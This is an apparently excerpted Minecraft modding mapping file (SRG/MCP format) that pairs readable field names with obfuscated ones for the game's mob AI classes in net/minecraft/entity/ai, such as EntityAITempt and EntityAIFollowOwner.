net/minecraft/entity/ai/EntityLookHelper/field_75659_a +FD: net/minecraft/entity/ai/EntityLookHelper/deltaLookYaw net/minecraft/entity/ai/EntityLookHelper/field_75657_b +FD: net/minecraft/entity/ai/EntityLookHelper/deltaLookPitch net/minecraft/entity/ai/EntityLookHelper/field_75658_c +FD: net/minecraft/entity/ai/EntityLookHelper/isLooking net/minecraft/entity/ai/EntityLookHelper/field_75655_d +FD: net/minecraft/entity/ai/EntityLookHelper/posX net/minecraft/entity/ai/EntityLookHelper/field_75656_e +FD: net/minecraft/entity/ai/EntityLookHelper/posY net/minecraft/entity/ai/EntityLookHelper/field_75653_f +FD: net/minecraft/entity/ai/EntityLookHelper/posZ net/minecraft/entity/ai/EntityLookHelper/field_75654_g +FD: net/minecraft/entity/ai/EntityMoveHelper/entity net/minecraft/entity/ai/EntityMoveHelper/field_75648_a +FD: net/minecraft/entity/ai/EntityMoveHelper/posX net/minecraft/entity/ai/EntityMoveHelper/field_75646_b +FD: net/minecraft/entity/ai/EntityMoveHelper/posY net/minecraft/entity/ai/EntityMoveHelper/field_75647_c +FD: net/minecraft/entity/ai/EntityMoveHelper/posZ net/minecraft/entity/ai/EntityMoveHelper/field_75644_d +FD: net/minecraft/entity/ai/EntityMoveHelper/speed net/minecraft/entity/ai/EntityMoveHelper/field_75645_e +FD: net/minecraft/entity/ai/EntityMoveHelper/update net/minecraft/entity/ai/EntityMoveHelper/field_75643_f +FD: net/minecraft/entity/ai/EntityAIAvoidEntity$1/field_98219_c net/minecraft/entity/ai/EntityAIAvoidEntity$1/field_98219_c +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/theEntity net/minecraft/entity/ai/EntityAIAvoidEntity/field_75380_a +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/closestLivingEntity net/minecraft/entity/ai/EntityAIAvoidEntity/field_75376_d +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/canBeSeenSelector net/minecraft/entity/ai/EntityAIAvoidEntity/field_179509_a +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/farSpeed net/minecraft/entity/ai/EntityAIAvoidEntity/field_75378_b +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/nearSpeed net/minecraft/entity/ai/EntityAIAvoidEntity/field_75379_c +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/avoidDistance net/minecraft/entity/ai/EntityAIAvoidEntity/field_179508_f +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/entityPathEntity net/minecraft/entity/ai/EntityAIAvoidEntity/field_75374_f +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/entityPathNavigate net/minecraft/entity/ai/EntityAIAvoidEntity/field_75375_g +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/classToAvoid net/minecraft/entity/ai/EntityAIAvoidEntity/field_181064_i +FD: net/minecraft/entity/ai/EntityAIAvoidEntity/avoidTargetSelector net/minecraft/entity/ai/EntityAIAvoidEntity/field_179510_i +FD: net/minecraft/entity/ai/EntityAIBeg/theWolf net/minecraft/entity/ai/EntityAIBeg/field_75387_a +FD: net/minecraft/entity/ai/EntityAIBeg/thePlayer net/minecraft/entity/ai/EntityAIBeg/field_75385_b +FD: net/minecraft/entity/ai/EntityAIBeg/worldObject net/minecraft/entity/ai/EntityAIBeg/field_75386_c +FD: net/minecraft/entity/ai/EntityAIBeg/minPlayerDistance net/minecraft/entity/ai/EntityAIBeg/field_75383_d +FD: net/minecraft/entity/ai/EntityAIBeg/timeoutCounter net/minecraft/entity/ai/EntityAIBeg/field_75384_e +FD: net/minecraft/entity/ai/EntityAIBreakDoor/breakingTime net/minecraft/entity/ai/EntityAIBreakDoor/field_75359_i +FD: net/minecraft/entity/ai/EntityAIBreakDoor/previousBreakProgress net/minecraft/entity/ai/EntityAIBreakDoor/field_75358_j +FD: net/minecraft/entity/ai/EntityAIMate/theWorld net/minecraft/entity/ai/EntityAIMate/field_75394_a +FD: net/minecraft/entity/ai/EntityAIMate/spawnBabyDelay net/minecraft/entity/ai/EntityAIMate/field_75392_b +FD: net/minecraft/entity/ai/EntityAIMate/moveSpeed net/minecraft/entity/ai/EntityAIMate/field_75393_c +FD: net/minecraft/entity/ai/EntityAIMate/theAnimal net/minecraft/entity/ai/EntityAIMate/field_75390_d +FD: net/minecraft/entity/ai/EntityAIMate/targetMate net/minecraft/entity/ai/EntityAIMate/field_75391_e +FD: net/minecraft/entity/ai/EntityAIControlledByPlayer/thisEntity net/minecraft/entity/ai/EntityAIControlledByPlayer/field_82640_a +FD: net/minecraft/entity/ai/EntityAIControlledByPlayer/maxSpeed net/minecraft/entity/ai/EntityAIControlledByPlayer/field_82638_b +FD: net/minecraft/entity/ai/EntityAIControlledByPlayer/currentSpeed net/minecraft/entity/ai/EntityAIControlledByPlayer/field_82639_c +FD: net/minecraft/entity/ai/EntityAIControlledByPlayer/speedBoosted net/minecraft/entity/ai/EntityAIControlledByPlayer/field_82636_d +FD: net/minecraft/entity/ai/EntityAIControlledByPlayer/speedBoostTime net/minecraft/entity/ai/EntityAIControlledByPlayer/field_82637_e +FD: net/minecraft/entity/ai/EntityAIControlledByPlayer/maxSpeedBoostTime net/minecraft/entity/ai/EntityAIControlledByPlayer/field_82635_f +FD: net/minecraft/entity/ai/EntityAIDoorInteract/theEntity net/minecraft/entity/ai/EntityAIDoorInteract/field_75356_a +FD: net/minecraft/entity/ai/EntityAIDoorInteract/doorPosition net/minecraft/entity/ai/EntityAIDoorInteract/field_179507_b +FD: net/minecraft/entity/ai/EntityAIDoorInteract/doorBlock net/minecraft/entity/ai/EntityAIDoorInteract/field_151504_e +FD: net/minecraft/entity/ai/EntityAIDoorInteract/hasStoppedDoorInteraction net/minecraft/entity/ai/EntityAIDoorInteract/field_75350_f +FD: net/minecraft/entity/ai/EntityAIDoorInteract/entityPositionX net/minecraft/entity/ai/EntityAIDoorInteract/field_75351_g +FD: net/minecraft/entity/ai/EntityAIDoorInteract/entityPositionZ net/minecraft/entity/ai/EntityAIDoorInteract/field_75357_h +FD: net/minecraft/entity/ai/EntityAIEatGrass/eatingGrassTimer net/minecraft/entity/ai/EntityAIEatGrass/field_151502_a +FD: net/minecraft/entity/ai/EntityAIEatGrass/field_179505_b net/minecraft/entity/ai/EntityAIEatGrass/field_179505_b +FD: net/minecraft/entity/ai/EntityAIEatGrass/grassEaterEntity net/minecraft/entity/ai/EntityAIEatGrass/field_151500_b +FD: net/minecraft/entity/ai/EntityAIEatGrass/entityWorld net/minecraft/entity/ai/EntityAIEatGrass/field_151501_c +FD: net/minecraft/entity/ai/EntityAIFleeSun/theCreature net/minecraft/entity/ai/EntityAIFleeSun/field_75372_a +FD: net/minecraft/entity/ai/EntityAIFleeSun/shelterX net/minecraft/entity/ai/EntityAIFleeSun/field_75370_b +FD: net/minecraft/entity/ai/EntityAIFleeSun/shelterY net/minecraft/entity/ai/EntityAIFleeSun/field_75371_c +FD: net/minecraft/entity/ai/EntityAIFleeSun/shelterZ net/minecraft/entity/ai/EntityAIFleeSun/field_75368_d +FD: net/minecraft/entity/ai/EntityAIFleeSun/movementSpeed net/minecraft/entity/ai/EntityAIFleeSun/field_75369_e +FD: net/minecraft/entity/ai/EntityAIFleeSun/theWorld net/minecraft/entity/ai/EntityAIFleeSun/field_75367_f +FD: net/minecraft/entity/ai/EntityAISwimming/theEntity net/minecraft/entity/ai/EntityAISwimming/field_75373_a +FD: net/minecraft/entity/ai/EntityAIFollowOwner/theWorld net/minecraft/entity/ai/EntityAIFollowOwner/field_75342_a +FD: net/minecraft/entity/ai/EntityAIFollowOwner/maxDist net/minecraft/entity/ai/EntityAIFollowOwner/field_75340_b +FD: net/minecraft/entity/ai/EntityAIFollowOwner/minDist net/minecraft/entity/ai/EntityAIFollowOwner/field_75341_c +FD: net/minecraft/entity/ai/EntityAIFollowOwner/thePet net/minecraft/entity/ai/EntityAIFollowOwner/field_75338_d +FD: net/minecraft/entity/ai/EntityAIFollowOwner/theOwner net/minecraft/entity/ai/EntityAIFollowOwner/field_75339_e +FD: net/minecraft/entity/ai/EntityAIFollowOwner/followSpeed net/minecraft/entity/ai/EntityAIFollowOwner/field_75336_f +FD: net/minecraft/entity/ai/EntityAIFollowOwner/petPathfinder net/minecraft/entity/ai/EntityAIFollowOwner/field_75337_g +FD: net/minecraft/entity/ai/EntityAIFollowOwner/field_75343_h net/minecraft/entity/ai/EntityAIFollowOwner/field_75343_h +FD: net/minecraft/entity/ai/EntityAIFollowOwner/field_75344_i net/minecraft/entity/ai/EntityAIFollowOwner/field_75344_i +FD: net/minecraft/entity/ai/EntityAIFollowParent/childAnimal net/minecraft/entity/ai/EntityAIFollowParent/field_75348_a +FD: net/minecraft/entity/ai/EntityAIFollowParent/parentAnimal net/minecraft/entity/ai/EntityAIFollowParent/field_75346_b +FD: net/minecraft/entity/ai/EntityAIFollowParent/moveSpeed net/minecraft/entity/ai/EntityAIFollowParent/field_75347_c +FD: net/minecraft/entity/ai/EntityAIFollowParent/delayCounter net/minecraft/entity/ai/EntityAIFollowParent/field_75345_d +FD: net/minecraft/entity/ai/EntityAIBase/mutexBits net/minecraft/entity/ai/EntityAIBase/field_75254_a +FD: net/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry/action net/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry/field_75733_a +FD: net/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry/priority net/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry/field_75731_b +FD: net/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry/field_75732_c net/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry/field_75732_c +FD: net/minecraft/entity/ai/EntityAITasks/logger net/minecraft/entity/ai/EntityAITasks/field_151506_a +FD: net/minecraft/entity/ai/EntityAITasks/taskEntries net/minecraft/entity/ai/EntityAITasks/field_75782_a +FD: net/minecraft/entity/ai/EntityAITasks/executingTaskEntries net/minecraft/entity/ai/EntityAITasks/field_75780_b +FD: net/minecraft/entity/ai/EntityAITasks/theProfiler net/minecraft/entity/ai/EntityAITasks/field_75781_c +FD: net/minecraft/entity/ai/EntityAITasks/tickCount net/minecraft/entity/ai/EntityAITasks/field_75778_d +FD: net/minecraft/entity/ai/EntityAITasks/tickRate net/minecraft/entity/ai/EntityAITasks/field_75779_e +FD: net/minecraft/entity/ai/EntityAIHarvestFarmland/theVillager net/minecraft/entity/ai/EntityAIHarvestFarmland/field_179504_c +FD: net/minecraft/entity/ai/EntityAIHarvestFarmland/hasFarmItem net/minecraft/entity/ai/EntityAIHarvestFarmland/field_179502_d +FD: net/minecraft/entity/ai/EntityAIHarvestFarmland/field_179503_e net/minecraft/entity/ai/EntityAIHarvestFarmland/field_179503_e +FD: net/minecraft/entity/ai/EntityAIHarvestFarmland/field_179501_f net/minecraft/entity/ai/EntityAIHarvestFarmland/field_179501_f +FD: net/minecraft/entity/ai/EntityAILeapAtTarget/leaper net/minecraft/entity/ai/EntityAILeapAtTarget/field_75328_a +FD: net/minecraft/entity/ai/EntityAILeapAtTarget/leapTarget net/minecraft/entity/ai/EntityAILeapAtTarget/field_75326_b +FD: net/minecraft/entity/ai/EntityAILeapAtTarget/leapMotionY net/minecraft/entity/ai/EntityAILeapAtTarget/field_75327_c +FD: net/minecraft/entity/ai/EntityAIWatchClosest/theWatcher net/minecraft/entity/ai/EntityAIWatchClosest/field_75332_b +FD: net/minecraft/entity/ai/EntityAIWatchClosest/closestEntity net/minecraft/entity/ai/EntityAIWatchClosest/field_75334_a +FD: net/minecraft/entity/ai/EntityAIWatchClosest/maxDistanceForPlayer net/minecraft/entity/ai/EntityAIWatchClosest/field_75333_c +FD: net/minecraft/entity/ai/EntityAIWatchClosest/watchedClass net/minecraft/entity/ai/EntityAIWatchClosest/field_75329_f +FD: net/minecraft/entity/ai/EntityAIWatchClosest/lookTime net/minecraft/entity/ai/EntityAIWatchClosest/field_75330_d +FD: net/minecraft/entity/ai/EntityAIWatchClosest/chance net/minecraft/entity/ai/EntityAIWatchClosest/field_75331_e +FD: net/minecraft/entity/ai/EntityAILookAtTradePlayer/theMerchant net/minecraft/entity/ai/EntityAILookAtTradePlayer/field_75335_b +FD: net/minecraft/entity/ai/EntityAIVillagerMate/villageObj net/minecraft/entity/ai/EntityAIVillagerMate/field_75452_a +FD: net/minecraft/entity/ai/EntityAIVillagerMate/villagerObj net/minecraft/entity/ai/EntityAIVillagerMate/field_75450_b +FD: net/minecraft/entity/ai/EntityAIVillagerMate/mate net/minecraft/entity/ai/EntityAIVillagerMate/field_75451_c +FD: net/minecraft/entity/ai/EntityAIVillagerMate/worldObj net/minecraft/entity/ai/EntityAIVillagerMate/field_75448_d +FD: net/minecraft/entity/ai/EntityAIVillagerMate/matingTimeout net/minecraft/entity/ai/EntityAIVillagerMate/field_75449_e +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/worldObj net/minecraft/entity/ai/EntityAIAttackOnCollide/field_75443_a +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/attacker net/minecraft/entity/ai/EntityAIAttackOnCollide/field_75441_b +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/attackTick net/minecraft/entity/ai/EntityAIAttackOnCollide/field_75439_d +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/speedTowardsTarget net/minecraft/entity/ai/EntityAIAttackOnCollide/field_75440_e +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/longMemory net/minecraft/entity/ai/EntityAIAttackOnCollide/field_75437_f +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/entityPathEntity net/minecraft/entity/ai/EntityAIAttackOnCollide/field_75438_g +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/classTarget net/minecraft/entity/ai/EntityAIAttackOnCollide/field_75444_h +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/delayCounter net/minecraft/entity/ai/EntityAIAttackOnCollide/field_75445_i +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/targetX net/minecraft/entity/ai/EntityAIAttackOnCollide/field_151497_i +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/targetY net/minecraft/entity/ai/EntityAIAttackOnCollide/field_151495_j +FD: net/minecraft/entity/ai/EntityAIAttackOnCollide/targetZ net/minecraft/entity/ai/EntityAIAttackOnCollide/field_151496_k +FD: net/minecraft/entity/ai/EntityAIMoveIndoors/entityObj net/minecraft/entity/ai/EntityAIMoveIndoors/field_75424_a +FD: net/minecraft/entity/ai/EntityAIMoveIndoors/doorInfo net/minecraft/entity/ai/EntityAIMoveIndoors/field_75422_b +FD: net/minecraft/entity/ai/EntityAIMoveIndoors/insidePosX net/minecraft/entity/ai/EntityAIMoveIndoors/field_75423_c +FD: net/minecraft/entity/ai/EntityAIMoveIndoors/insidePosZ net/minecraft/entity/ai/EntityAIMoveIndoors/field_75421_d +FD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/theEntity net/minecraft/entity/ai/EntityAIMoveThroughVillage/field_75420_a +FD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/movementSpeed net/minecraft/entity/ai/EntityAIMoveThroughVillage/field_75418_b +FD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/entityPathNavigate net/minecraft/entity/ai/EntityAIMoveThroughVillage/field_75419_c +FD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/doorInfo net/minecraft/entity/ai/EntityAIMoveThroughVillage/field_75416_d +FD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/isNocturnal net/minecraft/entity/ai/EntityAIMoveThroughVillage/field_75417_e +FD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/doorList net/minecraft/entity/ai/EntityAIMoveThroughVillage/field_75415_f +FD: net/minecraft/entity/ai/EntityAIMoveToBlock/runDelay net/minecraft/entity/ai/EntityAIMoveToBlock/field_179496_a +FD: net/minecraft/entity/ai/EntityAIMoveToBlock/destinationBlock net/minecraft/entity/ai/EntityAIMoveToBlock/field_179494_b +FD: net/minecraft/entity/ai/EntityAIMoveToBlock/theEntity net/minecraft/entity/ai/EntityAIMoveToBlock/field_179495_c +FD: net/minecraft/entity/ai/EntityAIMoveToBlock/movementSpeed net/minecraft/entity/ai/EntityAIMoveToBlock/field_179492_d +FD: net/minecraft/entity/ai/EntityAIMoveToBlock/timeoutCounter net/minecraft/entity/ai/EntityAIMoveToBlock/field_179493_e +FD: net/minecraft/entity/ai/EntityAIMoveToBlock/field_179490_f net/minecraft/entity/ai/EntityAIMoveToBlock/field_179490_f +FD: net/minecraft/entity/ai/EntityAIMoveToBlock/isAboveDestination net/minecraft/entity/ai/EntityAIMoveToBlock/field_179491_g +FD: net/minecraft/entity/ai/EntityAIMoveToBlock/searchLength net/minecraft/entity/ai/EntityAIMoveToBlock/field_179497_h +FD: net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/theEntity net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/field_75436_a +FD: net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/movePosX net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/field_75434_b +FD: net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/movePosY net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/field_75435_c +FD: net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/movePosZ net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/field_75432_d +FD: net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/movementSpeed net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/field_75433_e +FD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/theEntity net/minecraft/entity/ai/EntityAIMoveTowardsTarget/field_75431_a +FD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/targetEntity net/minecraft/entity/ai/EntityAIMoveTowardsTarget/field_75429_b +FD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/movePosX net/minecraft/entity/ai/EntityAIMoveTowardsTarget/field_75430_c +FD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/movePosY net/minecraft/entity/ai/EntityAIMoveTowardsTarget/field_75427_d +FD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/movePosZ net/minecraft/entity/ai/EntityAIMoveTowardsTarget/field_75428_e +FD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/speed net/minecraft/entity/ai/EntityAIMoveTowardsTarget/field_75425_f +FD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/maxTargetDistance net/minecraft/entity/ai/EntityAIMoveTowardsTarget/field_75426_g +FD: net/minecraft/entity/ai/EntityAIOcelotAttack/theWorld net/minecraft/entity/ai/EntityAIOcelotAttack/field_75411_a +FD: net/minecraft/entity/ai/EntityAIOcelotAttack/theEntity net/minecraft/entity/ai/EntityAIOcelotAttack/field_75409_b +FD: net/minecraft/entity/ai/EntityAIOcelotAttack/theVictim net/minecraft/entity/ai/EntityAIOcelotAttack/field_75410_c +FD: net/minecraft/entity/ai/EntityAIOcelotAttack/attackCountdown net/minecraft/entity/ai/EntityAIOcelotAttack/field_75408_d +FD: net/minecraft/entity/ai/EntityAIOcelotSit/ocelot net/minecraft/entity/ai/EntityAIOcelotSit/field_151493_a +FD: net/minecraft/entity/ai/EntityAILookAtVillager/theGolem net/minecraft/entity/ai/EntityAILookAtVillager/field_75397_a +FD: net/minecraft/entity/ai/EntityAILookAtVillager/theVillager net/minecraft/entity/ai/EntityAILookAtVillager/field_75395_b +FD: net/minecraft/entity/ai/EntityAILookAtVillager/lookTime net/minecraft/entity/ai/EntityAILookAtVillager/field_75396_c +FD: net/minecraft/entity/ai/EntityAIOpenDoor/closeDoor net/minecraft/entity/ai/EntityAIOpenDoor/field_75361_i +FD: net/minecraft/entity/ai/EntityAIOpenDoor/closeDoorTemporisation net/minecraft/entity/ai/EntityAIOpenDoor/field_75360_j +FD: net/minecraft/entity/ai/EntityAIPanic/speed net/minecraft/entity/ai/EntityAIPanic/field_75265_b +FD: net/minecraft/entity/ai/EntityAIPanic/theEntityCreature net/minecraft/entity/ai/EntityAIPanic/field_75267_a +FD: net/minecraft/entity/ai/EntityAIPanic/randPosX net/minecraft/entity/ai/EntityAIPanic/field_75266_c +FD: net/minecraft/entity/ai/EntityAIPanic/randPosY net/minecraft/entity/ai/EntityAIPanic/field_75263_d +FD: net/minecraft/entity/ai/EntityAIPanic/randPosZ net/minecraft/entity/ai/EntityAIPanic/field_75264_e +FD: net/minecraft/entity/ai/EntityAIPlay/villagerObj net/minecraft/entity/ai/EntityAIPlay/field_75262_a +FD: net/minecraft/entity/ai/EntityAIPlay/targetVillager net/minecraft/entity/ai/EntityAIPlay/field_75260_b +FD: net/minecraft/entity/ai/EntityAIPlay/speed net/minecraft/entity/ai/EntityAIPlay/field_75261_c +FD: net/minecraft/entity/ai/EntityAIPlay/playTime net/minecraft/entity/ai/EntityAIPlay/field_75259_d +FD: net/minecraft/entity/ai/EntityAILookIdle/idleEntity net/minecraft/entity/ai/EntityAILookIdle/field_75258_a +FD: net/minecraft/entity/ai/EntityAILookIdle/lookX net/minecraft/entity/ai/EntityAILookIdle/field_75256_b +FD: net/minecraft/entity/ai/EntityAILookIdle/lookZ net/minecraft/entity/ai/EntityAILookIdle/field_75257_c +FD: net/minecraft/entity/ai/EntityAILookIdle/idleTime net/minecraft/entity/ai/EntityAILookIdle/field_75255_d +FD: net/minecraft/entity/ai/EntityAIWander/entity net/minecraft/entity/ai/EntityAIWander/field_75457_a +FD: net/minecraft/entity/ai/EntityAIWander/xPosition net/minecraft/entity/ai/EntityAIWander/field_75455_b +FD: net/minecraft/entity/ai/EntityAIWander/yPosition net/minecraft/entity/ai/EntityAIWander/field_75456_c +FD: net/minecraft/entity/ai/EntityAIWander/zPosition net/minecraft/entity/ai/EntityAIWander/field_75453_d +FD: net/minecraft/entity/ai/EntityAIWander/speed net/minecraft/entity/ai/EntityAIWander/field_75454_e +FD: net/minecraft/entity/ai/EntityAIWander/executionChance net/minecraft/entity/ai/EntityAIWander/field_179481_f +FD: net/minecraft/entity/ai/EntityAIWander/mustUpdate net/minecraft/entity/ai/EntityAIWander/field_179482_g +FD: net/minecraft/entity/ai/EntityAIArrowAttack/entityHost net/minecraft/entity/ai/EntityAIArrowAttack/field_75322_b +FD: net/minecraft/entity/ai/EntityAIArrowAttack/rangedAttackEntityHost net/minecraft/entity/ai/EntityAIArrowAttack/field_82641_b +FD: net/minecraft/entity/ai/EntityAIArrowAttack/attackTarget net/minecraft/entity/ai/EntityAIArrowAttack/field_75323_c +FD: net/minecraft/entity/ai/EntityAIArrowAttack/rangedAttackTime net/minecraft/entity/ai/EntityAIArrowAttack/field_75320_d +FD: net/minecraft/entity/ai/EntityAIArrowAttack/entityMoveSpeed net/minecraft/entity/ai/EntityAIArrowAttack/field_75321_e +FD: net/minecraft/entity/ai/EntityAIArrowAttack/field_75318_f net/minecraft/entity/ai/EntityAIArrowAttack/field_75318_f +FD: net/minecraft/entity/ai/EntityAIArrowAttack/field_96561_g net/minecraft/entity/ai/EntityAIArrowAttack/field_96561_g +FD: net/minecraft/entity/ai/EntityAIArrowAttack/maxRangedAttackTime net/minecraft/entity/ai/EntityAIArrowAttack/field_75325_h +FD: net/minecraft/entity/ai/EntityAIArrowAttack/field_96562_i net/minecraft/entity/ai/EntityAIArrowAttack/field_96562_i +FD: net/minecraft/entity/ai/EntityAIArrowAttack/maxAttackDistance net/minecraft/entity/ai/EntityAIArrowAttack/field_82642_h +FD: net/minecraft/entity/ai/EntityAIRestrictOpenDoor/entityObj net/minecraft/entity/ai/EntityAIRestrictOpenDoor/field_75275_a +FD: net/minecraft/entity/ai/EntityAIRestrictOpenDoor/frontDoor net/minecraft/entity/ai/EntityAIRestrictOpenDoor/field_75274_b +FD: net/minecraft/entity/ai/EntityAIRestrictSun/theEntity net/minecraft/entity/ai/EntityAIRestrictSun/field_75273_a +FD: net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/horseHost net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/field_111180_a +FD: net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/speed net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/field_111178_b +FD: net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/targetX net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/field_111179_c +FD: net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/targetY net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/field_111176_d +FD: net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/targetZ net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/field_111177_e +FD: net/minecraft/entity/ai/EntityAISit/theEntity net/minecraft/entity/ai/EntityAISit/field_75272_a +FD: net/minecraft/entity/ai/EntityAISit/isSitting net/minecraft/entity/ai/EntityAISit/field_75271_b +FD: net/minecraft/entity/ai/EntityAICreeperSwell/swellingCreeper net/minecraft/entity/ai/EntityAICreeperSwell/field_75269_a +FD: net/minecraft/entity/ai/EntityAICreeperSwell/creeperAttackTarget net/minecraft/entity/ai/EntityAICreeperSwell/field_75268_b +FD: net/minecraft/entity/ai/EntityAIFollowGolem/theVillager net/minecraft/entity/ai/EntityAIFollowGolem/field_75294_a +FD: net/minecraft/entity/ai/EntityAIFollowGolem/theGolem net/minecraft/entity/ai/EntityAIFollowGolem/field_75292_b +FD: net/minecraft/entity/ai/EntityAIFollowGolem/takeGolemRoseTick net/minecraft/entity/ai/EntityAIFollowGolem/field_75293_c +FD: net/minecraft/entity/ai/EntityAIFollowGolem/tookGolemRose net/minecraft/entity/ai/EntityAIFollowGolem/field_75291_d +FD: net/minecraft/entity/ai/EntityAITempt/temptedEntity net/minecraft/entity/ai/EntityAITempt/field_75284_a +FD: net/minecraft/entity/ai/EntityAITempt/speed net/minecraft/entity/ai/EntityAITempt/field_75282_b +FD: net/minecraft/entity/ai/EntityAITempt/targetX net/minecraft/entity/ai/EntityAITempt/field_75283_c +FD: net/minecraft/entity/ai/EntityAITempt/targetY net/minecraft/entity/ai/EntityAITempt/field_75280_d +FD: net/minecraft/entity/ai/EntityAITempt/targetZ net/minecraft/entity/ai/EntityAITempt/field_75281_e +FD: net/minecraft/entity/ai/EntityAITempt/pitch net/minecraft/entity/ai/EntityAITempt/field_75278_f +FD: net/minecraft/entity/ai/EntityAITempt/yaw net/minecraft/entity/ai/EntityAITempt/field_75279_g +FD: net/minecraft/entity/ai/EntityAITempt/temptingPlayer net/minecraft/entity/ai/EntityAITempt/field_75289_h +FD: net/minecraft/entity/ai/EntityAITempt/delayTemptCounter net/minecraft/entity/ai/EntityAITempt/field_75290_i +FD: net/minecraft/entity/ai/EntityAITempt/isRunning net/minecraft/entity/ai/EntityAITempt/field_75287_j +FD: net/minecraft/entity/ai/EntityAITempt/temptItem net/minecraft/entity/ai/EntityAITempt/field_151484_k +FD: net/minecraft/entity/ai/EntityAITempt/scaredByPlayerMovement net/minecraft/entity/ai/EntityAITempt/field_75285_l +FD: net/minecraft/entity/ai/EntityAITempt/avoidWater net/minecraft/entity/ai/EntityAITempt/field_75286_m +FD: net/minecraft/entity/ai/EntityAITradePlayer/villager net/minecraft/entity/ai/EntityAITradePlayer/field_75276_a +FD: net/minecraft/entity/ai/EntityAIVillagerInteract/interactionDelay net/minecraft/entity/ai/EntityAIVillagerInteract/field_179478_e +FD: net/minecraft/entity/ai/EntityAIVillagerInteract/villager net/minecraft/entity/ai/EntityAIVillagerInteract/field_179477_f +FD: net/minecraft/entity/ai/EntityAIDefendVillage/irongolem net/minecraft/entity/ai/EntityAIDefendVillage/field_75305_a +FD: net/minecraft/entity/ai/EntityAIDefendVillage/villageAgressorTarget net/minecraft/entity/ai/EntityAIDefendVillage/field_75304_b +FD: net/minecraft/entity/ai/EntityAIHurtByTarget/entityCallsForHelp net/minecraft/entity/ai/EntityAIHurtByTarget/field_75312_a +FD: net/minecraft/entity/ai/EntityAIHurtByTarget/revengeTimerOld net/minecraft/entity/ai/EntityAIHurtByTarget/field_142052_b +FD: net/minecraft/entity/ai/EntityAIHurtByTarget/targetClasses net/minecraft/entity/ai/EntityAIHurtByTarget/field_179447_c +FD: net/minecraft/entity/ai/EntityAIFindEntityNearest$1/field_179877_a net/minecraft/entity/ai/EntityAIFindEntityNearest$1/field_179877_a +FD: net/minecraft/entity/ai/EntityAIFindEntityNearest/LOGGER net/minecraft/entity/ai/EntityAIFindEntityNearest/field_179444_a +FD: net/minecraft/entity/ai/EntityAIFindEntityNearest/mob net/minecraft/entity/ai/EntityAIFindEntityNearest/field_179442_b +FD: net/minecraft/entity/ai/EntityAIFindEntityNearest/field_179443_c net/minecraft/entity/ai/EntityAIFindEntityNearest/field_179443_c +FD: net/minecraft/entity/ai/EntityAIFindEntityNearest/field_179440_d net/minecraft/entity/ai/EntityAIFindEntityNearest/field_179440_d +FD: net/minecraft/entity/ai/EntityAIFindEntityNearest/target net/minecraft/entity/ai/EntityAIFindEntityNearest/field_179441_e +FD: net/minecraft/entity/ai/EntityAIFindEntityNearest/field_179439_f net/minecraft/entity/ai/EntityAIFindEntityNearest/field_179439_f +FD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer$1/field_179881_a net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer$1/field_179881_a +FD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/LOGGER net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/field_179436_a +FD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/entityLiving net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/field_179434_b +FD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/predicate net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/field_179435_c +FD: 